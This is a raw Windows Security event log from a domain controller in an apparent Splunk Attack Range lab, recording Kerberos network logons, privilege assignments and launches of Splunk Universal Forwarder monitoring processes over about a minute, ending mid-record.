-Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256948 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa60 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:57:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256947 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x483D16 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:57:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256946 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x483E24 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:57:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256945 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x483E6D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:57:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256944 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x483EDE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59207 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:57:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256943 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x483EDE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:57:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256942 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x483E6D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 59206 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:57:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256941 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x483E6D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:57:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256940 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x483E24 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:57:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256939 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x483E24 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:57:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256938 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x483D16 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59205 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:57:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256937 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x483D16 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:57:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256950 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x630 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:57:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256949 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x530 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:57:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256951 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x483EDE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:57:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256954 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x485FBA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:57:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256953 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x485FBA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59218 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:57:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256952 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x485FBA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:58:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256955 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf60 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:58:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256956 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1038 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:58:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256957 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x968 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:58:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256958 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc10 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:58:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256959 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc64 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:58:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256961 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x107c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:58:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256960 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x77c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to 